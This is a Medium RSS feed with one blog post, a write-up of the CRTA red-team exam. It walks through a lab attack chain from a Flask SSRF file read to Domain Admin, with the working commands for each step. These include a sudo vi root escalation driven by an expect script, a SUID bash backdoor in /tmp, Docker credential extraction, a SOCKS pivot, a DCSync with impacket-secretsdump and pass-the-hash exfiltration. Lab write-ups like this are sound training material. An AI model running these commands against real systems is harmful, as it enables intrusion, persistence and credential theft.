<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by BloodHound on Medium]]></title>
        <description><![CDATA[Stories by BloodHound on Medium]]></description>
        <link>https://medium.com/@shaukathamza291?source=rss-c93f6ebb91fe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*N0y-HqJeV8iropQU</url>
            <title>Stories by BloodHound on Medium</title>
            <link>https://medium.com/@shaukathamza291?source=rss-c93f6ebb91fe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:10:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shaukathamza291/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CRTA Exam Writeup: From a Single SSRF to Domain Admin]]></title>
            <link>https://medium.com/@shaukathamza291/crta-exam-writeup-from-a-single-ssrf-to-domain-admin-63db8ee3485c?source=rss-c93f6ebb91fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/63db8ee3485c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[BloodHound]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 08:59:05 GMT</pubDate>
            <atom:updated>2026-11-22T08:59:05.239Z</atom:updated>
            <content:encoded><![CDATA[<p>The CRTA (Certified Red Team Analyst) from CyberWarFare Labs is a six-hour, fully hands-on, black-box assessment delivered over a VPN-connected lab. There are no multiple-choice questions. You get an in-scope range, eighteen scored questions, and one objective: compromise the infrastructure, escalate, pivot, and retrieve a file from the Domain Controller’s Administrator Desktop.</p><p>I passed it in November 2026. This is the full attack chain — every phase, the reasoning behind it, and the commands that made it work.</p><h3>What is redacted</h3><p>Passwords, password hashes, API keys and the personal data inside the objective file are not published here, and neither are the answers to the eighteen scored questions. Everything structural is: the network layout, the services, the file paths, the commands. That is what makes a writeup worth reading. You will still have to find your own values — the environment is the same shape for everyone, but the chain is yours to build.</p><h3>Exam format</h3><ul><li><strong>Duration:</strong> 6 hours, fully hands-on, no theory section</li><li><strong>Access:</strong> an OpenVPN profile using auth-user-pass over TCP/1195 — TLS, with a CA cert, client cert and key, and a tls-auth static key embedded in the profile</li><li><strong>Tunnel:</strong> came up on 10.20.20.73/24, separate from the lab&#39;s own address space</li><li><strong>In scope:</strong> 172.26.10.0/24, with the gateway 172.26.10.1 explicitly excluded</li><li><strong>Expansion:</strong> the rules state you may discover additional internal networks and use them — so anything you find is fair game</li><li><strong>Objective:</strong> exfiltrate secret.xml from C:\Users\Administrator\Desktop on the Domain Controller</li></ul><h3>The environment</h3><p>Three hosts ended up mattering:</p><ul><li>172.26.10.11 — <strong>app-server</strong>, Ubuntu. The only live host in the initial scope, and the single entry point into everything else.</li><li>10.10.10.20 — an internal Apache host, reachable only through the app server, on a network never advertised in the scope.</li><li>10.10.10.100 — <strong>ENT-DC</strong>, Windows Server 2022 (build 20348), Domain Controller for ent.corp.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FW3orkp-iIAiKUtBFIiKRA.png" /><figcaption>The lab: a single reachable host in scope, and everything else behind it.</figcaption></figure><h3>The whole chain in one sentence</h3><p>One exposed SSRF route on a Flask app leaked a host credential; that credential led to root; root exposed a monitoring container and a log file naming an internal host; that host exposed an Active Directory service account with replication rights; replication rights handed over the Domain Administrator’s NT hash; and the hash handed over the objective file.</p><p>Eight stages, and not one exotic exploit anywhere in it. Every technique here is documented, well known, and considerably older than the exam.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MV7Y4NNhK42vgnwL47hwkw.png" /><figcaption>The full chain. Nothing exotic in it — just enough enumeration to spot each link.</figcaption></figure><h3>Phase 1 — Reconnaissance</h3><p>Host discovery across the full in-scope subnet, gateway excluded:</p><pre>nmap -sn 172.26.10.0/24 --exclude 172.26.10.1</pre><p>Exactly one live host: 172.26.10.11.</p><p>The first real lesson of the exam showed up at the port-scanning stage, and it had nothing to do with hacking. VPN latency was high and erratic — round-trip times ranged from roughly 0.3 to 7 seconds. An aggressive scan rate silently dropped probes and reported ports as filtered that I had already confirmed open by hand. Dialling the timing template back and raising the retry count turned contradictory output into results I could trust:</p><pre>nmap -sV -Pn -p 22,80,443,8080,8091,23100,3000,5000,8000,8443,9090 \<br>     --max-retries 5 -T2 172.26.10.11</pre><pre>22/tcp    open   ssh    OpenSSH 9.6p1 Ubuntu 3ubuntu13.11<br>8091/tcp  open   http   Node.js Express framework<br>23100/tcp open   http   Werkzeug httpd 3.1.3 (Python 3.9.22)</pre><h3>Phase 2 — Web application analysis and SSRF</h3><p>The Flask app on 23100 documented its own vulnerability on the index page:</p><pre>curl -s http://172.26.10.11:23100/</pre><pre>Access denied. Only the /fetch route with &#39;url&#39; parameter is allowed.<br>Example: /fetch?url=file:///&lt;location&gt;<br>To Access Host files go with &#39;hostfs&#39; path</pre><p>That is a textbook SSRF with an arbitrary file:// scheme, plus an explicit container-escape hint. The app runs inside Docker with the host filesystem mounted under /hostfs, so a file-scheme request aimed at that mount point returns the <em>host&#39;s</em> files, not the container&#39;s:</p><pre>curl &quot;http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd&quot;</pre><p>It returned the host’s /etc/passwd — and the first credential was not where you would expect. One user entry had its GECOS field (the &quot;full name&quot; column) overwritten with what turned out to be that account&#39;s actual password:</p><pre>app-admin:x:1000:1000:[REDACTED]:/home/app-admin:/bin/bash</pre><p>Hidden in plain sight, in a file everyone greps and almost nobody reads field by field.</p><h3>Phase 3 — Initial access</h3><pre>ssh app-admin@172.26.10.11<br>id</pre><pre>uid=1000(app-admin) gid=1000(app-admin)<br>groups=1000(app-admin),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)</pre><h3>Phase 4 — Privilege escalation</h3><p>The second command after any shell, always:</p><pre>sudo -l</pre><pre>User app-admin may run the following commands on app-server:<br>    (ALL) /usr/bin/vi</pre><p>A sudo-permitted editor is a textbook GTFOBins shell escape. Two complications made it less trivial than it looks on paper. The entry required the sudo password rather than being NOPASSWD, and the editor needs a real controlling TTY to process a :! shell escape plus the follow-up &quot;press ENTER to continue&quot; prompt. A bare ssh -tt … &quot;sudo vi -c &#39;:!id&#39; -c &#39;:q!&#39;&quot; one-liner would not reliably drive that interaction across a high-latency link.</p><p>The fix was proper TTY automation rather than a cleverer one-liner:</p><pre>spawn sshpass -p &quot;[REDACTED]&quot; ssh -tt app-admin@172.26.10.11<br>expect &quot;$ &quot;<br>send &quot;echo &#39;[REDACTED]&#39; | sudo -S -v\r&quot;<br>expect &quot;$ &quot;<br>send &quot;TERM=xterm sudo vi -c &#39;:!id &gt; /tmp/.priv_check 2&gt;&amp;1&#39; -c &#39;:q!&#39; -c &#39;:q!&#39;\r&quot;<br>expect &quot;continue&quot;<br>send &quot;\r&quot;<br>expect &quot;$ &quot;<br>send &quot;cat /tmp/.priv_check; rm -f /tmp/.priv_check\r&quot;</pre><p>Result: uid=0(root) gid=0(root) groups=0(root).</p><p>To avoid repeating the whole dance for every root command afterwards, the first thing root did was drop a SUID copy of bash through the same technique:</p><pre>sudo vi -c &#39;:!cp /bin/bash /tmp/.rootbash &amp;&amp; chmod 4755 /tmp/.rootbash&#39; -c &#39;:q!&#39; -c &#39;:q!&#39;</pre><pre>-rwsr-xr-x 1 root root 1446024 /tmp/.rootbash</pre><p>From then on, every privileged command was a single SSH call:</p><pre>ssh app-admin@172.26.10.11 &quot;/tmp/.rootbash -p -c &#39;&lt;command&gt;&#39;&quot;</pre><h3>Phase 5 — Docker and monitoring-app enumeration</h3><p>Root on the app server opened up the highest findings-per-minute stretch of the entire exam.</p><pre>docker ps -a</pre><pre>code-23100      (python3 code.py)     0.0.0.0:23100-&gt;23100/tcp   — the Flask SSRF app<br>hot1host-web1   (node src/index.js)   0.0.0.0:8091-&gt;8091/tcp     — &quot;HotHost&quot; monitoring app</pre><p>The monitoring container handed over its own admin credentials with one command:</p><pre>docker exec hot1host-web1 env</pre><pre>HOTHOST_WEB_ADMIN_USERNAME=admin<br>HOTHOST_WEB_ADMIN_PASSWORD=[REDACTED]<br>HOTHOST_WEB_PORT=8091</pre><p>The host also exposed the app’s on-disk database at /www/hothostdata/hothost.json, which stores user passwords as raw, unsalted <strong>MD5</strong>:</p><pre>{&quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;[REDACTED]&quot;, ...}</pre><p>Cross-verifying md5(password) == stored_hash turned a &quot;found value&quot; into a certainty — which mattered later, once scored questions started demanding exact-match answers.</p><p>Reading the server source (index.js, api.js, apinext.js, utils.js, middleware.js) was more instructive than exploiting it. There is no role or permission model anywhere in the backend: the JWT payload is just {id, exp}, and authorizeUser() only compares a username and an MD5 digest against the flat user list in hothost.json. The only place a role concept exists in the entire product is a ternary inside the <strong>minified frontend bundle</strong>, in the admin user-management table&#39;s render logic:</p><pre>v.isNotAdmin ? &quot;admin&quot; : &quot;[REDACTED]&quot;</pre><p>And then there is the CSS. A static asset served at /assets/dummy.css turned out to be a second, completely independent leak — a custom property holding a cloud access key, and a leftover developer comment about a password change:</p><pre>#password::placeholder { content: &quot;[REDACTED]&quot;; } /* Change to [REDACTED] */<br>--aws-key: &quot;[REDACTED]&quot;;</pre><p><strong>Static frontend assets are source code.</strong> When a feature is not reachable live, grep the client-side bundle for it.</p><h3>Phase 6 — Finding the next network</h3><p>With root, the SSH authentication log answered a question scanning could not: who else connects to this box?</p><pre>grep &quot;Accepted&quot; /var/log/auth.log</pre><pre>Accepted password for app-admin from 10.10.10.20 port 35980 ssh2</pre><p>Repeated logins from 10.10.10.20 — an address on a segment never mentioned in the scope. No sweep, no guessing. Inbound connection sources drew the map to the next layer.</p><h3>Phase 7 — Pivoting</h3><p>The app server could reach 10.10.10.20 directly, confirmed with ping, despite ip route showing no route to that subnet at all — the lab NATs it transparently. Worth internalising: <strong>a reachable host is not necessarily a routed one.</strong> Do not let an empty routing table convince you a network is unreachable.</p><p>The pivot itself was deliberately boring — a plain SSH dynamic port forward plus proxychains:</p><pre>ssh -N -D 1080 app-admin@172.26.10.11<br># /etc/proxychains4.conf  -&gt;  socks5  127.0.0.1  1080</pre><h3>Phase 8 — Internal host enumeration</h3><pre>proxychains4 curl http://10.10.10.20/</pre><pre>default Apache page, containing the literal HTML comment:<br>&lt;!-- Access /elfinder to check the system files --&gt;</pre><p>A full scan through the pivot showed this host exposes <strong>only port 80</strong>, Apache/2.4.58:</p><pre>proxychains4 nmap -sT -Pn -p- 10.10.10.20</pre><p>The hinted path had directory indexing left enabled:</p><pre>http://10.10.10.20/elfinder/files/   -&gt;   AD_Resources.txt</pre><pre>curl <a href="http://10.10.10.20/elfinder/files/AD_Resources.txt">http://10.10.10.20/elfinder/files/AD_Resources.txt</a></pre><pre>Service Account: sync_user@ent.corp<br>Password: [REDACTED]</pre><p>HTML comments and directory listings are still live attack surface in 2026. The only reason that credential file was findable is an Apache option nobody turned off.</p><h3>Phase 9 — Domain Controller identification</h3><pre>proxychains4 nmap -sT -Pn -p 88,135,389,445,636,3268 10.10.10.100</pre><pre>all open — the classic AD DC port signature</pre><pre>proxychains4 netexec smb 10.10.10.100 -u sync_user -p &#39;[REDACTED]&#39;</pre><pre>(name:ENT-DC) (domain:ent.corp) (signing:True)<br>Windows Server 2022 Build 20348 x64<br>[+] ent.corp\sync_user   (credentials valid)</pre><h3>Phase 10 — DCSync</h3><p>sync_user looked like a throwaway service account. It was not: it held AD replication rights (Get-Replication-Changes and Get-Replication-Changes-All), which is the single most valuable Active Directory misconfiguration you can land on. That is a DCSync, and a DCSync is a domain-wide credential dump.</p><pre>proxychains4 impacket-secretsdump &#39;ent.corp/sync_user:[REDACTED]@10.10.10.100&#39; -just-dc-ntlm</pre><pre>Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::<br>ent.corp\sync_user:1103:...:[REDACTED]:::</pre><p><strong>Always check what a credential can actually do before writing it off.</strong> Enumerate its rights; do not judge it by its name.</p><h3>Phase 11 — Pass-the-Hash and exfiltration</h3><p>With the Administrator’s NT hash, no plaintext password was ever needed:</p><pre>proxychains4 impacket-smbclient \<br>  -hashes aad3b435b51404eeaad3b435b51404ee:[REDACTED] \<br>  Administrator@10.10.10.100</pre><pre>use C$<br>cd Users\Administrator\Desktop<br>ls</pre><pre>secret.xml.txt, history.db, salida.txt, phantom-harvest.exe, desktop.ini</pre><pre>get secret.xml.txt</pre><p>secret.xml.txt held the objective: an &lt;Employees&gt; XML record set with names, identification numbers, positions, compensation and SSH key fingerprints for two fictional employees. Contents not reproduced here. Objective reached.</p><p>The other Desktop files were worth a look. salida.txt turned out to be captured console output — UTF-16, ANSI-coloured, decodable with iconv — from a credential-harvesting tool, phantom-harvest.exe, that had already been run against the DC and recovered seven credentials from browsers, DPAPI and Windows Vault. It looked enormously relevant. It matched nothing that was scored. <strong>Not every artifact on a box is a flag</strong> — some are there to burn your clock.</p><h3>Tools used</h3><ul><li><strong>nmap</strong> — host discovery, port scanning, service and version detection</li><li><strong>curl</strong> — SSRF exploitation and direct HTTP interaction</li><li><strong>ssh / sshpass</strong> — initial access and the SOCKS dynamic port-forward pivot</li><li><strong>expect</strong> — automating the TTY-driven sudo vi escalation</li><li><strong>vi (GTFOBins)</strong> — privilege escalation to root</li><li><strong>docker</strong> — container enumeration, environment variable and source extraction</li><li><strong>proxychains4</strong> — routing nmap, curl and impacket through the pivot</li><li><strong>netexec (nxc)</strong> — SMB banner grab, DC identification, credential validation</li><li><strong>impacket-secretsdump</strong> — DCSync against the DC</li><li><strong>impacket-smbclient</strong> — Pass-the-Hash file listing and exfiltration from C$</li><li><strong>md5sum, python json/sqlite3, iconv</strong> — hash verification and parsing artifacts found along the way</li></ul><h3>Lessons worth carrying out of the lab</h3><ul><li><strong>Dial back scan timing on high-latency VPN labs.</strong> Aggressive rates produce confident, wrong output — ports you have already confirmed open will come back filtered.</li><li><strong>An app that documents its own bug is still exploitable.</strong> Read the whole response body, not just the status code.</li><li><strong>Read every field of </strong><strong>/etc/passwd, not just the structure.</strong> The credential sat in a column I have parsed a thousand times without ever looking at.</li><li><strong>sudo -l is the second command after any shell.</strong> A single permitted binary with a GTFOBins entry is a root shell, password-protected or not.</li><li><strong>Some escalations need a real TTY.</strong> When a one-liner hangs on a prompt, the answer is expect, not a cleverer one-liner.</li><li><strong>Docker environment variables are a goldmine.</strong> One command, one plaintext admin password, zero effort.</li><li><strong>Cross-verify credentials two ways when you can.</strong> It converts a guess into a fact, and exact-match questions punish guesses.</li><li><strong>Static assets are source code.</strong> A plain .css file held a cloud key and a password hint, and the app&#39;s only role logic lived in a minified JS bundle.</li><li><strong>Logs are the map to the next segment.</strong> Inbound connection sources in auth.log beat scanning.</li><li><strong>A reachable host is not necessarily a routed one.</strong> Transparent NAT means ip route lies about what you can touch.</li><li><strong>Enumerate what a found account can do.</strong> Boring service-account names hide replication rights.</li><li><strong>Pass-the-Hash removes the need for cracking entirely.</strong> Secretsdump into smbclient with -hashes is a complete, password-less path from a domain foothold to C$ on the DC.</li><li><strong>Not every artifact is a flag.</strong> Red herrings cost time, which is the only resource the exam genuinely limits.</li><li><strong>When a scored answer comes back wrong, re-read the question.</strong> Two questions that sound nearly identical are usually pointing at two different services — sometimes on the same host.</li></ul><h3>Preparing for CRTA</h3><p>The exam is tightly built and realistic, and it rewards methodical enumeration over clever one-shot tricks. If you are comfortable with SSRF — including file:// and container-escape variants — plus Docker awareness, GTFOBins, impacket tooling and the basic Active Directory attack paths of DCSync and Pass-the-Hash, you have the technical foundation for it.</p><p>What caught me out was never the exploitation. It was latency poisoning my scan results, a credential hidden in a field I never read, and questions phrased just ambiguously enough that two of them pointed at two different services on the same box. Budget time for re-reading questions, not just for popping shells.</p><p>Good luck to anyone sitting it. Enumerate everything, trust nothing you have not verified twice, and read the whole page.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63db8ee3485c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>